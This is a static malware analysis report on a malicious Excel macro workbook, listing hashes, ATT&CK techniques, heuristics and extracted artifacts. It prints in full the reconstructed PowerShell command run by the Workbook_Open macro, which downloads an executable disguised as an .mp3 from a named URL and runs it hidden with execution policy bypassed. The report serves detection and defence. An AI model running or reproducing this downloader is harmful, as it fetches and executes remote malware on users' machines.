Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 57dd2da1d461bfc3…

MALICIOUS

Office (OOXML) / .XLSM

435.1 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2025-08-14
MD5: ef9a169fda764c3c27e64206354b0424 SHA-1: ff8dd242369df27db989356d5d14fb898e6fe071 SHA-256: 57dd2da1d461bfc3dd4f7cff239c605ef042cabec29436aea6c4131448761b64
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro executes an obfuscated PowerShell command that downloads a file from a URL and then executes it. The PowerShell command is reconstructed as 'powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://fnvimoyvwkbxbmczlqus.supabase.co/storage/v1/object/public/auths0/01/Honrghsmrei.mp3" -OutFile $TempFile; Start-Process $TempFile;'. This indicates the intent to download and execute a second-stage payload.

Heuristics 7

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://fnvimoyvwkbxbmczlqus.supabase.co/storage/v1/object/public/auths0/01/Honrghsmrei.mp3

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
9d0b5f72dfc1996d8f73addc28ff4c981bdc95989810c314be7df355d7b753b1		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1345 bytes
vbaProject_00.bin
754976b074f03f79d3e3d7b2cea2c7cd4691801563fa1455b6b77daecca9086d		 vba-project OOXML VBA project: xl/vbaProject.bin 4608 bytes

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